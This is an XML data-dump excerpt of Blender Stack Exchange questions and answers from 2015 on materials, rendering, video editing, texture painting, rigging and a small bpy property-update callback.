  <row Id="38255" PostTypeId="1" CreationDate="2015-09-09T01:49:39.763" Score="0" ViewCount="782" Body="&lt;p&gt;I built an LP Record in another Blender project (including colors, textures, images, materials) and tried to bring it in to my current Diamond Head project: &lt;a href=&quot;https://i.stack.imgur.com/YMBg1.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YMBg1.jpg&quot; alt=&quot;Diamond Head &amp;amp; LP&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appended the Diamond Head project with the LP object. I got the disc shape rendered in gray. So I tried importing the Materials and Nodes to no avail.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7bm9g.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7bm9g.jpg&quot; alt=&quot;Nodes did nothing&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My objective is to have the record spinning in the crater, so I need to merge the two projects. What's the best way, if any, to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="16818" LastActivityDate="2016-02-22T08:37:30.497" Title="How do you import an object from another Blender file without losing textures?" Tags="&lt;materials&gt;&lt;nodes&gt;&lt;image&gt;&lt;append&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38256" PostTypeId="2" ParentId="38253" CreationDate="2015-09-09T02:05:23.107" Score="1" Body="&lt;p&gt;Suggestion&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apply the mirror, separate the eyes, transform origin to geometry, uv map, and apply a circular texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not think attempting to apply the same texture space of [Object] to both eyes in an easy or flexible idea.  If the eyes rotate you may find trouble.  I do not know your animation style.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Secondary Information , Not a suggestion&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is deprecated texture mapping without uv with typical sticky style ... it is biased to the vector indicated &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GRDxM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GRDxM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you choose to have bad frozen eyes with a slippery texture this is a bad deprecated node image.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/03Un8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/03Un8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both images above rely on the spherical shape and have no uv map required.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-09-09T05:56:18.227" LastActivityDate="2015-09-09T05:56:18.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38257" PostTypeId="1" CreationDate="2015-09-09T04:11:37.910" Score="1" ViewCount="82" Body="&lt;p&gt;I dont know how to explain it but the camera tracking is not rendering correctly on the blender file i attached... It rendering the markers i used and the hole in the wall and it doesnt look right.. heres a link to the blend and blend1 file:&lt;a href=&quot;https://drive.google.com/folderview?id=0BwmMw7JLbSKcUjJWMUcwR0U2QlE&amp;amp;usp=sharing&quot; rel=&quot;nofollow&quot;&gt;https://drive.google.com/folderview?id=0BwmMw7JLbSKcUjJWMUcwR0U2QlE&amp;amp;usp=sharing&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="16802" LastActivityDate="2015-09-09T04:11:37.910" Title="Camera tracking rendering problems" Tags="&lt;cycles-render-engine&gt;&lt;camera&gt;&lt;tracking&gt;&lt;render-layers&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38258" PostTypeId="1" AcceptedAnswerId="38791" CreationDate="2015-09-09T04:12:28.980" Score="0" ViewCount="1547" Body="&lt;p&gt;Right now my human model looks way too smooth, in cycles render.  I prefer the bumpier look of Blender render, but I want to use cycles.  How can I create a bumpier, lumpier-looking human, something that looks more lifelike? Specifically, I want my good-natured wise man character to have a lumpy belly that ripples when he laughs! I am currently using diffuse BSDF node and a little bit of glossy BSDF node.  Thank you for help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: &#xA;In response to atomicbezierslinger: I wanted to go ahead and say that yes, I do mean a protruding round belly, with slight rippling and dimpling, just enough to look like lifelike. This is the closest I've come to finding a photo reference, I hope this is not an inappropriate photo. &lt;a href=&quot;https://i.stack.imgur.com/RM1Hl.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RM1Hl.jpg&quot; alt=&quot;See here how the belly is slightly dimpled and lumpy.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just slight dimpling and lumpiness.  I will see if i can find a better reference photo.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you mentioned it, I would also like to know how to create fat folds that move realistically; that would come in handy for another character.  I appreciate all help and I will look into the SSS Shader.&lt;/p&gt;&#xA;" OwnerUserId="17936" LastEditorUserId="17936" LastEditDate="2015-09-10T01:09:21.867" LastActivityDate="2015-10-18T17:10:18.097" Title="How do I create texture that resembles texture of human body?" Tags="&lt;modeling&gt;&lt;nodes&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38259" PostTypeId="2" ParentId="38255" CreationDate="2015-09-09T06:17:18.743" Score="3" Body="&lt;p&gt;Use a consistent set of materials for a Render engine.  Cycles Render or Blender Render.   Do not mix Cycles and Blender materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears you have tried to mix materials for the two different render engines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are producing a single still photo you may be able to render one image as transparent .png file.  You may be able to render the album disc as a texture and apply it as .png which is render engine neutral.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-09-09T06:27:48.980" LastActivityDate="2015-09-09T06:27:48.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38260" PostTypeId="2" ParentId="38251" CreationDate="2015-09-09T06:35:31.420" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ogtul.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ogtul.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Verify you have no snapping enabled.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-09-09T06:47:31.637" LastActivityDate="2015-09-09T06:47:31.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38261" PostTypeId="1" CreationDate="2015-09-09T06:42:23.387" Score="0" ViewCount="974" Body="&lt;p&gt;In unreal engine 4 they give us some basic static mesh to work with and well the cylinder has only one face so that when i apply a material to it it renders well. Now here is my problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to make a prison door with metal bars in it. When i make a cylinder in blender it renders with so many faces. When i bring to ue4 I cant apply any materials to it because it really doesn't come out good. Any thoughts on how to fix that would so much appreciated! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you.&lt;/p&gt;&#xA;" OwnerUserId="18005" LastEditorUserId="3078" LastEditDate="2016-01-10T12:48:29.577" LastActivityDate="2016-05-09T15:42:10.093" Title="Is it possible to make a single-faced cylinder in Blender?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38262" PostTypeId="1" AcceptedAnswerId="38266" CreationDate="2015-09-09T07:00:22.710" Score="1" ViewCount="1104" Body="&lt;p&gt;I have a video that I'd like to fade out to white by increasing in glow intensity until it is pure white.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of a &quot;before&quot; photo (&lt;a href=&quot;https://pixabay.com/en/motorcycle-chrome-technology-9360/&quot; rel=&quot;nofollow noreferrer&quot;&gt;courtesy of Pixabay&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nKRmw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nKRmw.jpg&quot; alt=&quot;Just an example photo - courtesy of Pixabay&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I can't get the Glow effect in the Video Sequence Editor to get any more intense than this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dFZ5W.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dFZ5W.png&quot; alt=&quot;With glow effect strip added, but not glowy enough&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above photo is using these settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wYIEj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wYIEj.png&quot; alt=&quot;Glow strip settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Boost Factor can't be raised above 10, and Blur Distance can't be raised above 20, so I can't reach pure white. Is there a better way to go about achieving this technique? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="2952" LastEditDate="2015-09-09T08:00:25.347" LastActivityDate="2015-09-09T08:48:21.290" Title="VSE: Fade to white via a bloom transition" Tags="&lt;video-sequence-editor&gt;&lt;effects&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38263" PostTypeId="2" ParentId="38261" CreationDate="2015-09-09T07:03:02.103" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qKsXL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qKsXL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cylinders have as many faces as you accept when you create them.  Reduce the number of faces when you create a cylinder.  Have the information panels open when you create the cylinder so you can see the information. Press &lt;kbd&gt;T&lt;/kbd&gt; to show and hide the panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can render a 3D view as a png with a transparent background.  So you could apply the texture to a single plane with little geometry if that suits your situation.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="15507" LastEditDate="2015-09-12T03:54:30.417" LastActivityDate="2015-09-12T03:54:30.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38264" PostTypeId="2" ParentId="38262" CreationDate="2015-09-09T07:09:34.577" Score="1" Body="&lt;p&gt;Consider using the compositor to perform the effect.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Threshold the color to black and white or grayscale with animated color ramp ... with alpha 1 for white and alpha 0 for black.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blur for smoothness and animate dilation to whiten and widen edges .  You will have created a sequence of white spots on transparency .png images. At some point in the animation they can coalesce into complete if you choose. Then you can place alpha .png images as overlay elsewhere including VSE or Compositor.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-09-09T07:14:52.320" LastActivityDate="2015-09-09T07:14:52.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38265" PostTypeId="2" ParentId="21506" CreationDate="2015-09-09T07:09:50.620" Score="2" Body="&lt;h2&gt;Deinterlace&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &quot;deinterlaced&quot; property involves only the vertical resolution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The checkbox &quot;deinterlace&quot; does the job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you said, check De-Interlace in the property panel of the strip before exporting...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/udIYj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/udIYj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Resample&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;From file info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Seems stream 0 codec frame rate differs from container frame rate: 50.00 (50/1) -&amp;gt; 50.00 (50/1)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that your video is 50fps and you set 25fps in the render panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender manages the video as an image sequence, therefore:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;50 frames at 50 fps = 1 sec.&#xA;&#xA;50 frames at 25 fps = 2 sec.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the other hand, the duration of the audio is fixed and it doesn't change with the framerate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is because your video is two times longer than audio.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To convert 1080i50 to 1080p25 using Blender only, you can export an image sequence setting&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Frame Step: 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HQUMZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HQUMZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you can mix the original audio with the new image sequence.&lt;/p&gt;&#xA;" OwnerUserId="7668" LastEditorUserId="7668" LastEditDate="2015-09-23T09:46:22.537" LastActivityDate="2015-09-23T09:46:22.537" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38266" PostTypeId="2" ParentId="38262" CreationDate="2015-09-09T07:15:02.970" Score="1" Body="&lt;p&gt;One way to do this in the VSE is with an &lt;em&gt;Add&lt;/em&gt; effect:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a color strip and animate it's color from black to white (press &lt;kbd&gt;I&lt;/kbd&gt; while hovering over the color field to insert keyframes)&lt;/li&gt;&#xA;&lt;li&gt;Select both the color strip and your clip and press &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Effect &gt; Add&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YSNDk.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YSNDk.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-09-09T07:15:02.970" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38267" PostTypeId="2" ParentId="38262" CreationDate="2015-09-09T07:57:58.923" Score="3" Body="&lt;p&gt;You can multiply the glow effect by using the Multiply value in the property panel.&#xA;You can animate the value from 1 to 20&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jOJyz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jOJyz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can change the multiply value both on the glow strip and the video clip to combine the effects and to get a complete white image&lt;/p&gt;&#xA;" OwnerUserId="7668" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-09-09T08:48:21.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38268" PostTypeId="1" CreationDate="2015-09-09T08:20:48.307" Score="1" ViewCount="442" Body="&lt;p&gt;When I render images it always shows some black thick lines like on the bottom and top. How to remove it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9jkvp.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9jkvp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18006" LastEditorUserId="3710" LastEditDate="2015-09-09T10:17:37.560" LastActivityDate="2016-01-24T01:09:13.190" Title="Black lines on render" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="38269" PostTypeId="1" AcceptedAnswerId="38276" CreationDate="2015-09-09T08:31:29.540" Score="4" ViewCount="701" Body="&lt;p&gt;i was painting in blender using a stencil brush to paint bump information on my model. it worked great until i hit some button i think and now instead of freely drag the brush around i have to drag it from a side to another and it shows a little white line from the point I start to drag it to the point i relase it. i'd like to return to my free drag mode without having to create a new brush. anyone knows how to do it?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QMLY7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QMLY7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17900" LastActivityDate="2015-09-09T19:20:33.677" Title="Texture Painting: brush wants to be dragged from a site to another" Tags="&lt;texture-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38270" PostTypeId="1" AcceptedAnswerId="38281" CreationDate="2015-09-09T08:53:01.630" Score="1" ViewCount="379" Body="&lt;p&gt;I am currently working on the rig for a simple robotic character. This character has tube-like arms which bend and deform smoothly using the curve modifier. This works great, but I had to figure out a way to keep the robot's hands attached to the right point at the end of the arm and to stay perpendicular to the arm path. I wrote a python driver to accomplish this which yielded great results as seen &lt;a href=&quot;https://gfycat.com/MilkyRepentantJunebug&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the problem is that as far as I can tell Blender only updates the coordinates of Bezier Curve Handles when in edit mode, which means as soon as I attempt to animate the limb using shape-keys &lt;a href=&quot;https://gfycat.com/UnfinishedScholarlyCopepod&quot; rel=&quot;nofollow&quot;&gt;the hand is frozen at the last edit mode point regardless of driver dependency updates.&lt;/a&gt;. You can see the value I am using for the driver not changing during animation &lt;a href=&quot;https://gfycat.com/OrnateDownrightEland&quot; rel=&quot;nofollow&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is essentially, where can I get the animated spline data used for object mode? If this is impossible, what are my options. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Thanks&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="14564" LastActivityDate="2015-09-09T14:37:31.693" Title="Accessing Point Data of an Animated Bezier Curve Through Python API" Tags="&lt;python&gt;&lt;bezier-curves&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38272" PostTypeId="2" ParentId="38248" CreationDate="2015-09-09T09:18:43.697" Score="7" Body="&lt;p&gt;In the video sequence editor you have an option in the properties panel --&gt; filter tab, you can check de-interlace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7YScP.jpg&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7YScP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8094" LastActivityDate="2015-09-09T09:18:43.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38273" PostTypeId="1" CreationDate="2015-09-09T09:27:40.573" Score="1" ViewCount="2982" Body="&lt;p&gt;I exported my character without applying mirror modifier and it seems it works well in both situation. Will it make any differences?&lt;/p&gt;&#xA;" OwnerUserId="16475" LastEditorUserId="3078" LastEditDate="2016-01-09T20:18:34.727" LastActivityDate="2016-02-08T22:37:27.200" Title="Do I need to apply a mirror modifier before exporting to Unity?" Tags="&lt;export&gt;&lt;unity&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38274" PostTypeId="1" CreationDate="2015-09-09T11:04:51.457" Score="1" ViewCount="710" Body="&lt;p&gt;I have defined a StringProperty as:&lt;br&gt;&#xA;&lt;code&gt;StrParents = StringProperty(default='-1 ',update= GetParent)&lt;/code&gt;, &#xA;and used &lt;code&gt;prop&lt;/code&gt; to display the property in a panel as: &#xA;&lt;code&gt;layout.prop(item, 'StrParents', text='parents')&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like now to make some actions (i.e: call a function X()) if the StringProperty was changed from inside the code. And doing another action (i.e:call a function Y()) if the StringProperty was changed from the user via the panel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve such that requirement?&lt;/p&gt;&#xA;" OwnerUserId="16326" LastEditorUserId="15543" LastEditDate="2015-09-09T12:17:57.980" LastActivityDate="2015-09-09T12:17:57.980" Title="generate an event or function callback when a stringproperty is changed via user interface" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38275" PostTypeId="2" ParentId="38274" CreationDate="2015-09-09T11:16:50.540" Score="2" Body="&lt;p&gt;I suggest looking at the context properties, for instance in this example &lt;code&gt;context.area.type&lt;/code&gt;.  If scene.x is changed in the console it prints &lt;code&gt;CONSOLE&lt;/code&gt;, a panel in the properties panel &lt;code&gt;PROPERTIES&lt;/code&gt; etc.  As a test, print the &lt;code&gt;context.copy()&lt;/code&gt; dictionary to find what suits for your needs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;from bpy.props import StringProperty&#xA;&#xA;def goober(self, context):&#xA;    print(context.area.type)&#xA;    return None&#xA;&#xA;bpy.types.Scene.x = StringProperty(update=goober)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15543" LastEditorUserId="15543" LastEditDate="2015-09-09T11:56:56.443" LastActivityDate="2015-09-09T11:56:56.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38276" PostTypeId="2" ParentId="38269" CreationDate="2015-09-09T12:12:40.410" Score="4" Body="&lt;p&gt;Looks like you enabled &lt;strong&gt;Smooth Stroke&lt;/strong&gt; option:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CRcF8.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CRcF8.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The smoothness of the brush is driven instead by its &lt;strong&gt;shape&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be customized by defining points (or choosing one of the six a presets) in the editor of the &lt;strong&gt;Curve&lt;/strong&gt; panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Q0W0E.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q0W0E.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the right, the different result you can get by using each preset.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-09-09T19:20:33.677" LastActivityDate="2015-09-09T19:20:33.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38277" PostTypeId="1" AcceptedAnswerId="38300" CreationDate="2015-09-09T13:14:07.093" Score="1" ViewCount="1396" Body="&lt;p&gt;This will be my first animation and I don't know what I have to do to create a human being. &#xA;I think I have to download a model. Can you tell me a secure and free website?  Do I have to create the bones, face, cloths after the model?  Can you tell me the steps that I have to follow to create an animation please?&lt;/p&gt;&#xA;" OwnerUserId="14023" LastActivityDate="2015-09-09T20:21:32.587" Title="Do I have to download a model to create a human being?" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38278" PostTypeId="2" ParentId="38277" CreationDate="2015-09-09T13:20:00.203" Score="0" Body="&lt;p&gt;You can use an open source software, MakeHuman for the starters. It can create customized, rigged human model, which can be imported into Blender.&#xA;&lt;a href=&quot;http://www.makehuman.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.makehuman.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="625" LastActivityDate="2015-09-09T13:20:00.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38280" PostTypeId="1" CreationDate="2015-09-09T14:06:02.920" Score="0" ViewCount="810" Body="&lt;p&gt;I have a model and rig I have been working on. &lt;a href=&quot;https://i.stack.imgur.com/HKpmK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HKpmK.png&quot; alt=&quot;enter image description here]e&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the most part it is completed however I have an occurring problem that  hinders my progress on this as well as other models I have attempted to finish: &lt;a href=&quot;https://i.stack.imgur.com/94wsq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/94wsq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to certain parts of the model not moving in unison as shown above, certain parts also seem to stretch.[![enter image description here]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've attempted joining the parts of the mesh with control J however it does not seem to help. Would anyone know what I am possibly doing wrong and be able to provide me with help?&lt;/p&gt;&#xA;" OwnerUserId="18009" LastEditorUserId="3401" LastEditDate="2015-09-10T09:03:33.920" LastActivityDate="2015-09-10T09:03:33.920" Title="Why is my blender model/mesh not connected in some places?" Tags="&lt;mesh&gt;&lt;rigging&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38281" PostTypeId="2" ParentId="38270" CreationDate="2015-09-09T14:37:31.693" Score="1" Body="&lt;p&gt;Could you perhaps solve your problem by using Hooks?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Edit the curve&lt;/li&gt;&#xA;&lt;li&gt;select the endpoint you want controlled by the empty.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl-h&lt;/kbd&gt; and Hook to New Object&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now moving the freshly-created empty drags the curve control point around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also possible to hook the control points to bones in an armature, or maybe just select the hand and the curve and hook the control point to the hand object.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-09-09T14:37:31.693" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38282" PostTypeId="1" AcceptedAnswerId="38283" CreationDate="2015-09-09T14:41:02.380" Score="2" ViewCount="66" Body="&lt;p&gt;Is it possible to duplicate a mesh over text? e.g. in courier new I write Hello, and i want to cover that space in spheres (edit:arbitrary 3D object) without placing each object individually. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen examples of using dupliframes along curves, but is it possible to do it along text?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I also found out I can convert the text to a curve, but it seems the duplication only follows the outline of the text. Can I do a &quot;fill&quot; with my object? &#xA;&lt;a href=&quot;https://i.stack.imgur.com/oTHIX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oTHIX.png&quot; alt=&quot;getting there...&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18011" LastEditorUserId="18011" LastEditDate="2015-09-09T15:58:31.947" LastActivityDate="2015-09-09T16:17:27.407" Title="duplicate mesh along text?" Tags="&lt;dupli-groups&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
